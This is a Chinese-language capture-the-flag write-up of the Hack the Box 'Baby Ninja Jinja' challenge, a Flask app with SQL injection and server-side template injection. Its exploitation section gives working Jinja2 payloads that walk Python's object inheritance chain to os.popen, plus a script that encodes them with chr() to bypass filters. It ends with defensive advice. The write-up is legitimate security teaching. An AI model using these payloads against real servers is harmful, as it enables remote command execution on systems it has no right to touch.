Hack the Box:Baby Ninja Jinja解题经历
字数 1168 2025-08-15 21:32:00
Hack the Box: Baby Ninja Jinja 解题教学文档
0x00 题目概述
这是一个基于 Flask 框架的 Web 安全挑战,主要考察 SSTI (Server-Side Template Injection) 漏洞利用技术。题目通过注释暴露了 /debug 接口,提供了源码审计的机会。
0x01 漏洞发现
- 初始测试:输入双引号
"触发 Flask 的 debug 页面,表明存在潜在注入点 - 源码获取:通过访问
/debug路由获取应用程序源码 - 关键漏洞点:
- SQL 注入点:
query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name) - SSTI 漏洞:通过
render_template_string渲染用户可控输入
- SQL 注入点:
0x02 代码审计分析
主要路由
/:接受 name 参数,处理用户输入/debug:提供源码查看功能
数据处理流程
- 用户输入 name 参数
- 通过不安全的方式插入数据库:
INSERT INTO ninjas (name) VALUES ("%s") - 从数据库读取数据时进行过滤:
db.text_factory = (lambda s: s.replace('"', '"').replace('<', '<').replace('>', '>')) - 使用
render_template_string渲染模板
过滤机制
- 替换了
{{和}}等模板标记 - 过滤了单引号、双引号、尖括号等特殊字符
0x03 漏洞利用技术
绕过 SSTI 过滤
由于 {{ }} 被过滤,使用控制结构 {% %} 代替:
- 变量赋值:
{% set x = ... %} - 访问内置函数:通过 Python 对象继承链访问危险函数
获取 chr 函数
由于直接使用 chr() 会被阻止,需要通过对象继承链获取:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
构建字符串
使用 chr 函数拼接字符串:
def get_chr(s):
res = []
for i in s:
res.append('chr({})'.format(ord(i)))
return "%2b".join(res)
导入模块
通过 __import__ 动态导入所需模块:
{% set flask=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](flask) %}
执行命令
结合 os 模块执行系统命令:
{% set os=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](os) %}
{% set a=flask.abort(flask.Response(os.popen(cat flag_P54ed).read())) %}
0x04 完整利用流程
-
构造 chr 函数:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} -
导入 flask 模块:
{% set flask=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](flask) %} -
导入 os 模块:
{% set os=().__class__.__base__.__subclasses__()[59].__init__.__globals__[builtins][__import__](os) %} -
执行命令并返回结果:
{% set a=flask.abort(flask.Response(os.popen(cat flag_P54ed).read())) %}
0x05 自动化脚本
def get_chr(s):
res = []
for i in s:
res.append('chr({})'.format(ord(i)))
return "%2b".join(res)
def get_payload():
define_chr = f"{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}"
define_flask = f'{% set flask=().__class__.__base__.__subclasses__()[59].__init__.__globals__[{get_chr("__builtins__")}][{get_chr("__import__")}]({get_chr("flask")}) %}'
define_os = f'{% set os=().__class__.__base__.__subclasses__()[59].__init__.__globals__[{get_chr("__builtins__")}][{get_chr("__import__")}]({get_chr("os")}) %}'
payload = f'{% set a=flask.abort(flask.Response(os.popen({get_chr("cat flag_P54ed")}).read())) %}'
return define_chr + define_flask + define_os + payload
0x06 防御建议
- 避免使用
render_template_string:尽量使用预编译的模板 - 严格过滤用户输入:不仅过滤
{{ }},还应过滤{% %} - 使用安全的数据库操作:使用参数化查询而非字符串拼接
- 限制调试接口:生产环境不应暴露
/debug路由 - 使用沙箱环境:限制模板引擎的执行权限
0x07 总结
本题展示了 Flask 应用中 SSTI 漏洞的完整利用链,通过 Python 对象继承链获取危险函数,绕过字符过滤,最终实现命令执行。关键在于理解 Flask 模板引擎的工作机制和 Python 的对象模型。